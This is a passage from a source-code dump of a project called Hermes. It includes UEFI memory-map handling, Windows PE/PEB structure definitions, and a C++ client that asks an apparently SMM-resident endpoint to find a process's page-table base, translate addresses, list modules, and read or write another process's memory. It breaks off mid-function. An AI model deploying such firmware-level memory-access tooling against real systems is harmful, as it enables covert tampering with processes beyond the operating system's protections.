sizeof(EFI_MEMORY_DESCRIPTOR)); 66 | } 67 | 68 | NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(NextMemoryMapEntry, DescriptorSize); 69 | } 70 | 71 | MemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize); 72 | NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize); 73 | } 74 | } 75 | 76 | STATIC VOID MergeMemoryMapForNotPresentEntry( 77 | IN OUT EFI_MEMORY_DESCRIPTOR *MemoryMap, 78 | IN OUT UINTN *MemoryMapSize, 79 | IN UINTN DescriptorSize) 80 | { 81 | EFI_MEMORY_DESCRIPTOR *MemoryMapEntry; 82 | EFI_MEMORY_DESCRIPTOR *MemoryMapEnd; 83 | UINT64 MemoryBlockLength; 84 | EFI_MEMORY_DESCRIPTOR *NewMemoryMapEntry; 85 | EFI_MEMORY_DESCRIPTOR *NextMemoryMapEntry; 86 | 87 | MemoryMapEntry = MemoryMap; 88 | NewMemoryMapEntry = MemoryMap; 89 | MemoryMapEnd = (EFI_MEMORY_DESCRIPTOR *)((UINT8 *)MemoryMap + *MemoryMapSize); 90 | while ((UINTN)MemoryMapEntry < (UINTN)MemoryMapEnd) 91 | { 92 | CopyMem(NewMemoryMapEntry, MemoryMapEntry, sizeof(EFI_MEMORY_DESCRIPTOR)); 93 | NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize); 94 | 95 | do 96 | { 97 | MemoryBlockLength = (UINT64)(EFI_PAGES_TO_SIZE((UINTN)MemoryMapEntry->NumberOfPages)); 98 | if (((UINTN)NextMemoryMapEntry < (UINTN)MemoryMapEnd) && ((MemoryMapEntry->PhysicalStart + MemoryBlockLength) == NextMemoryMapEntry->PhysicalStart)) 99 | { 100 | MemoryMapEntry->NumberOfPages += NextMemoryMapEntry->NumberOfPages; 101 | if (NewMemoryMapEntry != MemoryMapEntry) 102 | { 103 | NewMemoryMapEntry->NumberOfPages += NextMemoryMapEntry->NumberOfPages; 104 | } 105 | 106 | NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(NextMemoryMapEntry, DescriptorSize); 107 | continue; 108 | } 109 | else 110 | { 111 | MemoryMapEntry = PREVIOUS_MEMORY_DESCRIPTOR(NextMemoryMapEntry, DescriptorSize); 112 | break; 113 | } 114 | } while (TRUE); 115 | 116 | MemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize); 117 | NewMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(NewMemoryMapEntry, DescriptorSize); 118 | } 119 | 120 | *MemoryMapSize = (UINTN)NewMemoryMapEntry - (UINTN)MemoryMap; 121 | 122 | return; 123 | } 124 | 125 | BOOLEAN InitUefiMemoryMap() 126 | { 127 | UINTN MemoryMapSize; 128 | EFI_MEMORY_DESCRIPTOR *MemoryMap; 129 | UINTN LocalMapKey; 130 | UINT32 DescriptorVersion; 131 | MemoryMapSize = 0; 132 | MemoryMap = NULL; 133 | 134 | EFI_STATUS Status; 135 | 136 | Status = gBS->GetMemoryMap( 137 | &MemoryMapSize, 138 | MemoryMap, 139 | &LocalMapKey, 140 | &mUefiDescriptorSize, 141 | &DescriptorVersion); 142 | 143 | do 144 | { 145 | Status = gBS->AllocatePool(EfiBootServicesData, MemoryMapSize, (VOID **)&MemoryMap); 146 | 147 | if (MemoryMap == NULL) 148 | { 149 | return FALSE; 150 | } 151 | 152 | Status = gBS->GetMemoryMap( 153 | &MemoryMapSize, 154 | MemoryMap, 155 | &LocalMapKey, 156 | &mUefiDescriptorSize, 157 | &DescriptorVersion); 158 | if (EFI_ERROR(Status)) 159 | { 160 | gBS->FreePool(MemoryMap); 161 | MemoryMap = NULL; 162 | } 163 | } while (Status == EFI_BUFFER_TOO_SMALL); 164 | 165 | if (MemoryMap == NULL) 166 | return FALSE; 167 | 168 | SortMemoryMap(MemoryMap, MemoryMapSize, mUefiDescriptorSize); 169 | MergeMemoryMapForNotPresentEntry(MemoryMap, &MemoryMapSize, mUefiDescriptorSize); 170 | 171 | mUefiMemoryMapSize = MemoryMapSize; 172 | EFI_PHYSICAL_ADDRESS NewMemoryMap; 173 | Status = gBS->AllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &NewMemoryMap); 174 | CopyMemUnsafe(NewMemoryMap, (UINT64)MemoryMap, MemoryMapSize, FALSE); 175 | mUefiMemoryMap = (EFI_MEMORY_DESCRIPTOR *)NewMemoryMap; 176 | gBS->FreePool(MemoryMap); 177 | 178 | return TRUE; 179 | } 180 | 181 | BOOLEAN IsAddressValid(UINT64 address) 182 | { 183 | EFI_MEMORY_DESCRIPTOR *MemoryMap; 184 | UINTN MemoryMapEntryCount; 185 | UINTN Index; 186 | 187 | if (mUefiMemoryMap != NULL) 188 | { 189 | MemoryMap = mUefiMemoryMap; 190 | MemoryMapEntryCount = mUefiMemoryMapSize / mUefiDescriptorSize; 191 | 192 | for (Index = 0; Index < MemoryMapEntryCount; Index++) 193 | { 194 | if ((address >= MemoryMap->PhysicalStart) && (address < MemoryMap->PhysicalStart + EFI_PAGES_TO_SIZE((UINTN)MemoryMap->NumberOfPages))) 195 | { 196 | return TRUE; 197 | } 198 | MemoryMap = NEXT_MEMORY_DESCRIPTOR(MemoryMap, mUefiDescriptorSize); 199 | } 200 | } 201 | return FALSE; 202 | } 203 | 204 | EFI_MEMORY_DESCRIPTOR *GetUefiMemoryMap() 205 | { 206 | return mUefiMemoryMap; 207 | } 208 | 209 | VOID ShowMemoryMap() 210 | { 211 | EFI_MEMORY_DESCRIPTOR *MemoryMap; 212 | UINTN MemoryMapEntryCount; 213 | UINTN Index; 214 | 215 | if (mUefiMemoryMap != NULL) 216 | { 217 | MemoryMap = mUefiMemoryMap; 218 | MemoryMapEntryCount = mUefiMemoryMapSize / mUefiDescriptorSize; 219 | 220 | for (Index = 0; Index < MemoryMapEntryCount; Index++) 221 | { 222 | //SerialPrintString("Map: "); 223 | //SerialPrintNumber(Index, 10); 224 | //SerialPrintString("\r\n Type: "); 225 | //SerialPrintNumber(MemoryMap->Type, 10); 226 | //SerialPrintString("\r\n PhysStart: "); 227 | //SerialPrintNumber(MemoryMap->PhysicalStart, 16); 228 | //SerialPrintString(" PhysEnd: "); 229 | //SerialPrintNumber(MemoryMap->PhysicalStart + EFI_PAGES_TO_SIZE((UINTN)MemoryMap->NumberOfPages), 16); 230 | //SerialPrintString("\r\n\r\n"); 231 | 232 | MemoryMap = NEXT_MEMORY_DESCRIPTOR(MemoryMap, mUefiDescriptorSize); 233 | } 234 | } 235 | } -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/windows.h: -------------------------------------------------------------------------------- 1 | /* 2 | * This file has originally been supplied from 3 | * vmread by Heep042 4 | */ 5 | 6 | #ifndef __hermes_windows_h__ 7 | #define __hermes_windows_h__ 8 | 9 | #include 10 | 11 | #ifdef __GNUC__ 12 | typedef unsigned int size_t; 13 | #endif 14 | 15 | #define HEADER_SIZE 0x1000 16 | #define PAGE_OFFSET_SIZE 12 17 | static const UINT64 PMASK = (~0xfull << 8) & 0xfffffffffull; 18 | static const UINT64 PMASK2 = (~0xfull << 8) & 0xfffffffffull; 19 | 20 | #define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b 21 | #define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b 22 | #define IMAGE_DIRECTORY_ENTRY_EXPORT 0 /* Export Directory */ 23 | #define IMAGE_DOS_SIGNATURE 0x5a4d /* MZ */ 24 | #define IMAGE_NT_SIGNATURE 0x4550 /* PE00 */ 25 | #define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16 26 | #define IMAGE_SIZEOF_SHORT_NAME 8 27 | 28 | typedef struct _IMAGE_DOS_HEADER 29 | { 30 | UINT16 e_magic; 31 | UINT16 e_cblp; 32 | UINT16 e_cp; 33 | UINT16 e_crlc; 34 | UINT16 e_cparhdr; 35 | UINT16 e_minalloc; 36 | UINT16 e_maxalloc; 37 | UINT16 e_ss; 38 | UINT16 e_sp; 39 | UINT16 e_csum; 40 | UINT16 e_ip; 41 | UINT16 e_cs; 42 | UINT16 e_lfarlc; 43 | UINT16 e_ovno; 44 | UINT16 e_res[4]; 45 | UINT16 e_oemid; 46 | UINT16 e_oeminfo; 47 | UINT16 e_res2[10]; 48 | int e_lfanew; 49 | } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; 50 | 51 | typedef struct _IMAGE_EXPORT_DIRECTORY 52 | { 53 | UINT32 Characteristics; 54 | UINT32 TimeDateStamp; 55 | UINT16 MajorVersion; 56 | UINT16 MinorVersion; 57 | UINT32 Name; 58 | UINT32 Base; 59 | UINT32 NumberOfFunctions; 60 | UINT32 NumberOfNames; 61 | UINT32 AddressOfFunctions; 62 | UINT32 AddressOfNames; 63 | UINT32 AddressOfNameOrdinals; 64 | } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; 65 | 66 | typedef struct _IMAGE_FILE_HEADER 67 | { 68 | UINT16 Machine; 69 | UINT16 NumberOfSections; 70 | UINT32 TimeDateStamp; 71 | UINT32 PointerToSymbolTable; 72 | UINT32 NumberOfSymbols; 73 | UINT16 SizeOfOptionalHeader; 74 | UINT16 Characteristics; 75 | } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; 76 | 77 | typedef struct _IMAGE_DATA_DIRECTORY 78 | { 79 | UINT32 VirtualAddress; 80 | UINT32 Size; 81 | } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; 82 | 83 | typedef struct _IMAGE_OPTIONAL_HEADER64 84 | { 85 | UINT16 Magic; 86 | UINT8 MajorLinkerVersion; 87 | UINT8 MinorLinkerVersion; 88 | UINT32 SizeOfCode; 89 | UINT32 SizeOfInitializedData; 90 | UINT32 SizeOfUninitializedData; 91 | UINT32 AddressOfEntryPoint; 92 | UINT32 BaseOfCode; 93 | UINT64 ImageBase; 94 | UINT32 SectionAlignment; 95 | UINT32 FileAlignment; 96 | UINT16 MajorOperatingSystemVersion; 97 | UINT16 MinorOperatingSystemVersion; 98 | UINT16 MajorImageVersion; 99 | UINT16 MinorImageVersion; 100 | UINT16 MajorSubsystemVersion; 101 | UINT16 MinorSubsystemVersion; 102 | UINT32 Win32VersionValue; 103 | UINT32 SizeOfImage; 104 | UINT32 SizeOfHeaders; 105 | UINT32 CheckSum; 106 | UINT16 Subsystem; 107 | UINT16 DllCharacteristics; 108 | UINT64 SizeOfStackReserve; 109 | UINT64 SizeOfStackCommit; 110 | UINT64 SizeOfHeapReserve; 111 | UINT64 SizeOfHeapCommit; 112 | UINT32 LoaderFlags; 113 | UINT32 NumberOfRvaAndSizes; 114 | IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; 115 | } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64; 116 | 117 | typedef struct _IMAGE_NT_HEADERS64 118 | { 119 | UINT32 Signature; 120 | IMAGE_FILE_HEADER FileHeader; 121 | IMAGE_OPTIONAL_HEADER64 OptionalHeader; 122 | } IMAGE_NT_HEADERS64, IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS; 123 | 124 | typedef struct _IMAGE_OPTIONAL_HEADER32 125 | { 126 | UINT16 Magic; 127 | UINT8 MajorLinkerVersion; 128 | UINT8 MinorLinkerVersion; 129 | UINT32 SizeOfCode; 130 | UINT32 SizeOfInitializedData; 131 | UINT32 SizeOfUninitializedData; 132 | UINT32 AddressOfEntryPoint; 133 | UINT32 BaseOfCode; 134 | UINT32 BaseOfData; 135 | UINT32 ImageBase; 136 | UINT32 SectionAlignment; 137 | UINT32 FileAlignment; 138 | UINT16 MajorOperatingSystemVersion; 139 | UINT16 MinorOperatingSystemVersion; 140 | UINT16 MajorImageVersion; 141 | UINT16 MinorImageVersion; 142 | UINT16 MajorSubsystemVersion; 143 | UINT16 MinorSubsystemVersion; 144 | UINT32 Win32VersionValue; 145 | UINT32 SizeOfImage; 146 | UINT32 SizeOfHeaders; 147 | UINT32 CheckSum; 148 | UINT16 Subsystem; 149 | UINT16 DllCharacteristics; 150 | UINT32 SizeOfStackReserve; 151 | UINT32 SizeOfStackCommit; 152 | UINT32 SizeOfHeapReserve; 153 | UINT32 SizeOfHeapCommit; 154 | UINT32 LoaderFlags; 155 | UINT32 NumberOfRvaAndSizes; 156 | IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; 157 | } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; 158 | 159 | typedef struct _IMAGE_NT_HEADERS32 160 | { 161 | UINT32 Signature; 162 | IMAGE_FILE_HEADER FileHeader; 163 | IMAGE_OPTIONAL_HEADER32 OptionalHeader; 164 | } IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32; 165 | 166 | typedef struct _IMAGE_SECTION_HEADER 167 | { 168 | UINT8 Name[IMAGE_SIZEOF_SHORT_NAME]; 169 | union { 170 | UINT32 PhysicalAddress; 171 | UINT32 VirtualSize; 172 | } Misc; 173 | UINT32 VirtualAddress; 174 | UINT32 SizeOfRawData; 175 | UINT32 PointerToRawData; 176 | UINT32 PointerToRelocations; 177 | UINT32 PointerToLinenumbers; 178 | UINT16 NumberOfRelocations; 179 | UINT16 NumberOfLinenumbers; 180 | UINT32 Characteristics; 181 | } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; 182 | 183 | typedef struct _LIST_ENTRY_WIN 184 | { 185 | UINT64 f_link; 186 | UINT64 b_link; 187 | } LIST_ENTRY_WIN; 188 | 189 | typedef struct _UNICODE_STRING 190 | { 191 | UINT16 length; 192 | UINT16 maximum_length; 193 | UINT64 buffer; 194 | } UNICODE_STRING; 195 | 196 | typedef struct _LDR_MODULE 197 | { 198 | LIST_ENTRY_WIN InLoadOrderModuleList; 199 | LIST_ENTRY_WIN InMemoryOrderModuleList; 200 | LIST_ENTRY_WIN InInitializationOrderModuleList; 201 | UINT64 BaseAddress; 202 | UINT64 EntryPoint; 203 | UINT64 SizeOfImage; 204 | UNICODE_STRING FullDllName; 205 | UNICODE_STRING BaseDllName; 206 | UINT64 Flags; 207 | short LoadCount; 208 | short TlsIndex; 209 | LIST_ENTRY_WIN HashTableEntry; 210 | UINT64 TimeDateStamp; 211 | } LDR_MODULE, *PLDR_MODULE; 212 | 213 | typedef struct _PEB_LDR_DATA 214 | { 215 | UINT64 Length; 216 | UINT8 Initialized; 217 | UINT64 SsHandle; 218 | LIST_ENTRY_WIN InLoadOrderModuleList; 219 | LIST_ENTRY_WIN InMemoryOrderModuleList; 220 | LIST_ENTRY_WIN InInitializationOrderModuleList; 221 | UINT64 EntryInProgress; 222 | } PEB_LDR_DATA; 223 | 224 | typedef struct _PEB 225 | { 226 | UINT8 InheritedAddressSpace; 227 | UINT8 ReadImageFileExecOptions; 228 | UINT8 BeingFebugged; 229 | UINT8 BitField; 230 | UINT8 Padding0[4]; 231 | UINT64 Mutant; 232 | UINT64 ImageBaseAddress; 233 | UINT64 Ldr; 234 | } PEB, PEB64; 235 | 236 | typedef struct _LIST_ENTRY_32_WIN 237 | { 238 | UINT32 f_link; 239 | UINT32 b_link; 240 | } LIST_ENTRY_32_WIN; 241 | 242 | typedef struct _UNICODE_STRING32 243 | { 244 | UINT16 length; 245 | UINT16 maximum_length; 246 | UINT32 buffer; 247 | } UNICODE_STRING32; 248 | 249 | typedef struct _LDR_MODULE32 250 | { 251 | LIST_ENTRY_32_WIN InLoadOrderModuleList; 252 | LIST_ENTRY_32_WIN InMemoryOrderModuleList; 253 | LIST_ENTRY_32_WIN InInitializationOrderModuleList; 254 | UINT32 BaseAddress; 255 | UINT32 EntryPoint; 256 | UINT32 SizeOfImage; 257 | UNICODE_STRING32 FullDllName; 258 | UNICODE_STRING32 BaseDllName; 259 | UINT32 Flags; 260 | short LoadCount; 261 | short TlsIndex; 262 | LIST_ENTRY_32_WIN HashTableEntry; 263 | UINT32 TimeDateStamp; 264 | } LDR_MODULE32, *PLDR_MODULE32; 265 | 266 | typedef struct _PEB_LDR_DATA32 267 | { 268 | UINT32 Length; 269 | UINT8 Initialized; 270 | UINT32 SsHandle; 271 | LIST_ENTRY_32_WIN InLoadOrderModuleList; 272 | LIST_ENTRY_32_WIN InMemoryOrderModuleList; 273 | LIST_ENTRY_32_WIN InInitializationOrderModuleList; 274 | UINT32 EntryInProgress; 275 | } PEB_LDR_DATA32; 276 | 277 | typedef struct _PEB32 278 | { 279 | UINT8 InheritedAddressSpace; 280 | UINT8 ReadImageFileExecOptions; 281 | UINT8 BeingFebugged; 282 | UINT8 BitField; 283 | UINT32 Mutant; 284 | UINT32 ImageBaseAddress; 285 | UINT32 Ldr; 286 | } PEB32; 287 | 288 | #endif -------------------------------------------------------------------------------- /Hermes-Client/Hermes/Hermes.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {3DC64EFB-2E9F-459F-9AA6-12A0242E88A5} 24 | Win32Proj 25 | Hermes 26 | 10.0.17763.0 27 | Hermes 28 | 29 | 30 | 31 | Application 32 | true 33 | v141 34 | Unicode 35 | 36 | 37 | Application 38 | false 39 | v141 40 | true 41 | Unicode 42 | 43 | 44 | Application 45 | true 46 | v141 47 | Unicode 48 | 49 | 50 | Application 51 | false 52 | v141 53 | true 54 | Unicode 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | true 76 | 77 | 78 | true 79 | 80 | 81 | false 82 | 83 | 84 | true 85 | hermes 86 | 87 | 88 | 89 | 90 | 91 | Level3 92 | Disabled 93 | true 94 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 95 | true 96 | 97 | 98 | Console 99 | true 100 | 101 | 102 | 103 | 104 | 105 | 106 | Level3 107 | Disabled 108 | true 109 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 110 | true 111 | 112 | 113 | Console 114 | true 115 | 116 | 117 | 118 | 119 | 120 | 121 | Level3 122 | MaxSpeed 123 | true 124 | true 125 | true 126 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 127 | true 128 | 129 | 130 | Console 131 | true 132 | true 133 | true 134 | 135 | 136 | 137 | 138 | 139 | 140 | Level3 141 | MaxSpeed 142 | true 143 | true 144 | true 145 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 146 | true 147 | stdcpp17 148 | 149 | 150 | Console 151 | true 152 | true 153 | false 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | -------------------------------------------------------------------------------- /Hermes-Client/Hermes/Virtual.cpp: -------------------------------------------------------------------------------- 1 | #include "Virtual.h" 2 | #include "Hermes.h" 3 | #include "Memory.h" 4 | #include "Prints.h" 5 | 6 | #include 7 | 8 | /* 9 | * Function for requesting the dirbase of a given process name. 10 | * Asks for the following parameter: 11 | * - packetBegin, pointer to the start of the memory mapping buffer 12 | * 13 | * The function itself asks for further information (process name) 14 | * 15 | */ 16 | void getDirbase(uint64_t packetBegin) 17 | { 18 | setPacketStarting(packetBegin); 19 | 20 | std::cout << "Processname (MAX 63 CHARS): "; 21 | std::string prName; 22 | std::cin >> prName; 23 | 24 | // Fill the rest of the string 25 | prName.resize(64, '\0'); 26 | 27 | const char *cprName = prName.c_str(); 28 | uint8_t nLength = std::strlen(cprName) + 1; 29 | 30 | setPacketCommand(packetBegin, HERMES_CMD_GET_DIRBASE); 31 | 32 | void *data = (void *)malloc(sizeof(uint8_t) + nLength); 33 | memcpy(data, &nLength, sizeof(uint8_t)); 34 | memcpy((void *)((uint64_t)data + 1), cprName, nLength); 35 | 36 | setPacketDataPtr(packetBegin, (uint64_t)data); 37 | 38 | if (debug) 39 | std::cout << "Data Ptr: " << (uint64_t)data << std::endl; 40 | 41 | uint64_t result = 0; 42 | setPacketResultPtr(packetBegin, (uint64_t)&result); 43 | 44 | if (debug) 45 | std::cout << "Result Ptr: " << &result << std::endl; 46 | 47 | // Data collected, set the end identifier and wait for response 48 | setPacketFinished(packetBegin); 49 | 50 | std::cout << "Waiting for Endpoint... " << std::endl; 51 | while (result == 0) 52 | { 53 | std::this_thread::sleep_for(std::chrono::milliseconds(50)); 54 | } 55 | 56 | if (result <= 0x9000) 57 | { 58 | // Print error explanation 59 | printError(result); 60 | } 61 | else 62 | { 63 | // Result has changed 64 | std::cout << "Result: " << std::hex << result << std::endl; 65 | } 66 | 67 | clearPacket(packetBegin); 68 | 69 | free(data); 70 | } 71 | 72 | 73 | /* 74 | * Function for requesting the translation of a virtual to a physical memory address. 75 | * Asks for the following parameter: 76 | * - packetBegin, pointer to the start of the memory mapping buffer 77 | * 78 | * The function itself asks for further information (virtual address and dirbase) 79 | * 80 | */ 81 | void virtualToPhysical(uint64_t packetBegin) 82 | { 83 | setPacketStarting(packetBegin); 84 | 85 | std::cout << "Virtual: "; 86 | uint64_t address; 87 | std::cin >> std::hex >> address; 88 | 89 | std::cout << "Dirbase: "; 90 | uint64_t dirbase; 91 | std::cin >> std::hex >> dirbase; 92 | 93 | setPacketCommand(packetBegin, HERMES_CMD_VIRTUAL_TO_PHYSICAL); 94 | 95 | std::vector data(2); 96 | memcpy(&(data[0]), &address, sizeof(uint64_t)); 97 | memcpy(&(data[1]), &dirbase, sizeof(uint64_t)); 98 | 99 | setPacketDataPtr(packetBegin, (uint64_t)&(data[0])); 100 | 101 | if (debug) 102 | std::cout << "Data Ptr: " << (uint64_t)&(data[0]) << std::endl; 103 | 104 | uint64_t result = 0; 105 | setPacketResultPtr(packetBegin, (uint64_t)&result); 106 | 107 | if (debug) 108 | std::cout << "Result Ptr: " << &result << std::endl; 109 | 110 | // Data collected, set the end identifier and wait for response 111 | setPacketFinished(packetBegin); 112 | 113 | std::cout << "Waiting for Endpoint... " << std::endl; 114 | 115 | while (result == 0) 116 | { 117 | std::this_thread::sleep_for(std::chrono::milliseconds(50)); 118 | } 119 | 120 | if (result < 0x9000) 121 | { 122 | // Print error explanation 123 | printError(result); 124 | } 125 | else 126 | { 127 | // Result has changed 128 | std::cout << "Converted " << address << " to: " << result << std::endl; 129 | } 130 | 131 | clearPacket(packetBegin); 132 | } 133 | 134 | /* 135 | * Function for requesting the reading of a given virtual address. 136 | * Asks for the following parameter: 137 | * - packetBegin, pointer to the start of the memory mapping buffer 138 | * 139 | * The function itself asks for further information (virtual address, dirbase and size to read) 140 | * 141 | */ 142 | void readVirtual(uint64_t packetBegin) 143 | { 144 | setPacketStarting(packetBegin); 145 | 146 | std::cout << "Address: "; 147 | uint64_t address; 148 | std::cin >> std::hex >> address; 149 | 150 | std::cout << "Dirbase: "; 151 | uint64_t dirbase; 152 | std::cin >> std::hex >> dirbase; 153 | 154 | std::cout << "Size: "; 155 | uint64_t size; 156 | std::cin >> std::dec >> size; 157 | 158 | if (debug) 159 | std::cout << "Size: " << size << "Dirbase: " << dirbase << "Adrress " << address << std::endl; 160 | 161 | setPacketCommand(packetBegin, HERMES_CMD_READ_VIRTUAL); 162 | 163 | std::vector data(3); 164 | memcpy(&(data[0]), &address, sizeof(uint64_t)); 165 | memcpy(&(data[1]), &dirbase, sizeof(uint64_t)); 166 | memcpy(&(data[2]), &size, sizeof(uint64_t)); 167 | 168 | setPacketDataPtr(packetBegin, (uint64_t)&(data[0])); 169 | 170 | if (debug) 171 | std::cout << "Data Ptr: " << (uint64_t)&(data[0]) << std::endl; 172 | 173 | char* result = (char *)_aligned_malloc(size + sizeof(uint64_t), 4096); 174 | uint64_t *resultToCheck = (uint64_t*)((uint64_t)result + (uint64_t)size); // Status will be at the end of the memory buffer 175 | *resultToCheck = 0; 176 | 177 | // Loop ones through the allocated pages to make sure its in the dirbase 178 | for (int i = 1; i < size + sizeof(uint64_t); i += 0x1000) 179 | { 180 | uint8_t *temp = (uint8_t*)((uint64_t)result + (uint64_t)i); 181 | *temp = 1; 182 | std::this_thread::sleep_for(std::chrono::milliseconds(50)); 183 | *temp = 0; 184 | } 185 | 186 | setPacketResultPtr(packetBegin, (uint64_t)result); 187 | 188 | if (debug) 189 | std::cout << "Result Ptr: " << result << std::endl; 190 | 191 | // Data collected, set the end identifier and wait for response 192 | setPacketFinished(packetBegin); 193 | 194 | std::cout << "Waiting for Endpoint... " << std::endl; 195 | 196 | while (*resultToCheck == 0) 197 | { 198 | std::this_thread::sleep_for(std::chrono::milliseconds(50)); 199 | } 200 | 201 | if (*resultToCheck != HERMES_STATUS_OK) 202 | { 203 | // Print error explanation 204 | printError(*resultToCheck); 205 | } 206 | else 207 | { 208 | // Result has changed 209 | std::cout << "Result: "; 210 | 211 | // Print out the read memory 212 | printBuffer((unsigned char *)result, size); 213 | } 214 | 215 | clearPacket(packetBegin); 216 | 217 | _aligned_free(result); 218 | } 219 | 220 | /* 221 | * Function for requesting the writing to a given virtual address. 222 | * Asks for the following parameter: 223 | * - packetBegin, pointer to the start of the memory mapping buffer 224 | * 225 | * The function itself asks for further information (virtual address, dirbase, size to write and value to write) 226 | * 227 | */ 228 | void writeVirtual(uint64_t packetBegin) 229 | { 230 | setPacketStarting(packetBegin); 231 | 232 | std::cout << "Destination: "; 233 | uint64_t address; 234 | std::cin >> std::hex >> address; 235 | 236 | std::cout << "Dirbase: "; 237 | uint64_t dirbase; 238 | std::cin >> std::hex >> dirbase; 239 | 240 | std::cout << "Size: "; 241 | uint64_t size; 242 | std::cin >> std::dec >> size; 243 | 244 | std::cout << "Value: (MAX 8BYTES)"; 245 | uint64_t value; 246 | std::cin >> std::hex >> value; 247 | 248 | setPacketCommand(packetBegin, HERMES_CMD_WRITE_VIRTUAL); 249 | 250 | std::vector data(4); 251 | memcpy(&(data[0]), &address, sizeof(uint64_t)); 252 | memcpy(&(data[1]), &dirbase, sizeof(uint64_t)); 253 | memcpy(&(data[2]), &size, sizeof(uint64_t)); 254 | memcpy(&(data[3]), &value, sizeof(uint64_t)); 255 | 256 | setPacketDataPtr(packetBegin, (uint64_t)&(data[0])); 257 | 258 | if (debug) 259 | std::cout << "Data Ptr: " << (uint64_t)&(data[0]) << std::endl; 260 | 261 | uint64_t result = 0; 262 | setPacketResultPtr(packetBegin, (uint64_t)&result); 263 | 264 | if (debug) 265 | std::cout << "Result Ptr: " << &result << std::endl; 266 | 267 | // Data collected, set the end identifier and wait for response 268 | setPacketFinished(packetBegin); 269 | 270 | std::cout << "Waiting for Endpoint... " << std::endl; 271 | 272 | while (result == 0) 273 | { 274 | std::this_thread::sleep_for(std::chrono::milliseconds(50)); 275 | } 276 | 277 | if (result < 0x9000) 278 | { 279 | // Print error explanation 280 | printError(result); 281 | } 282 | else 283 | { 284 | // Result has changed 285 | std::cout << "Successfully written!" << std::endl; 286 | } 287 | 288 | clearPacket(packetBegin); 289 | } -------------------------------------------------------------------------------- /Hermes-Client/Hermes/Windows.cpp: -------------------------------------------------------------------------------- 1 | #include "Virtual.h" 2 | #include "Hermes.h" 3 | #include "Memory.h" 4 | #include "Prints.h" 5 | 6 | #include 7 | 8 | /* 9 | * Function for requesting the modules of a given process. 10 | * Asks for the following parameter: 11 | * - packetBegin, pointer to the start of the memory mapping buffer 12 | * 13 | * The function itself asks for further information (process name) 14 | * 15 | */ 16 | void getModules(uint64_t packetBegin) 17 | { 18 | setPacketStarting(packetBegin); 19 | 20 | std::cout << "Processname (MAX 63 CHARS): "; 21 | std::string prName; 22 | std::cin >> prName; 23 | 24 | // Fill the rest of the string 25 | prName.resize(64, '\0'); 26 | 27 | const char* cprName = prName.c_str(); 28 | uint8_t nLength = std::strlen(cprName) + 1; 29 | 30 | setPacketCommand(packetBegin, HERMES_CMD_GET_MODULES); 31 | 32 | void *data = (void *)malloc(sizeof(uint8_t) + nLength); 33 | memcpy(data, &nLength, sizeof(uint8_t)); 34 | memcpy((void *)((uint64_t)data + 1), cprName, nLength); 35 | 36 | setPacketDataPtr(packetBegin, (uint64_t)data); 37 | 38 | if (debug) 39 | std::cout << "Data Ptr: " << (uint64_t)data << std::endl; 40 | 41 | void* result = _aligned_malloc(0x1000, 4096); 42 | uint64_t *resultToCheck = (uint64_t*)((uint64_t)result); // Status will be at the end of the memory buffer 43 | *resultToCheck = 0; 44 | 45 | uint8_t *temp = (uint8_t*)((uint64_t)result); 46 | *temp = 1; 47 | std::this_thread::sleep_for(std::chrono::milliseconds(50)); 48 | *temp = 0; 49 | 50 | setPacketResultPtr(packetBegin, (uint64_t)result); 51 | 52 | if (debug) 53 | std::cout << "Result Ptr: " << (uint64_t)result << std::endl; 54 | 55 | // Data collected, set the end identifier and wait for response 56 | setPacketFinished(packetBegin); 57 | 58 | std::cout << "Waiting for Endpoint... " << std::endl; 59 | 60 | while (*resultToCheck == 0) 61 | { 62 | std::this_thread::sleep_for(std::chrono::milliseconds(50)); 63 | } 64 | 65 | if (*resultToCheck != HERMES_STATUS_OK) 66 | { 67 | // Print error explanation 68 | printError(*resultToCheck); 69 | } 70 | else 71 | { 72 | // Get size 73 | uint8_t *size = (uint8_t *)(uint64_t)result + 8; 74 | 75 | // Result has changed 76 | std::cout << "Printing Module " << std::dec << (int)*size << " Names: " << std::endl; 77 | 78 | for (int i = 0; i < *size; i++) 79 | { 80 | char buffer[32]; 81 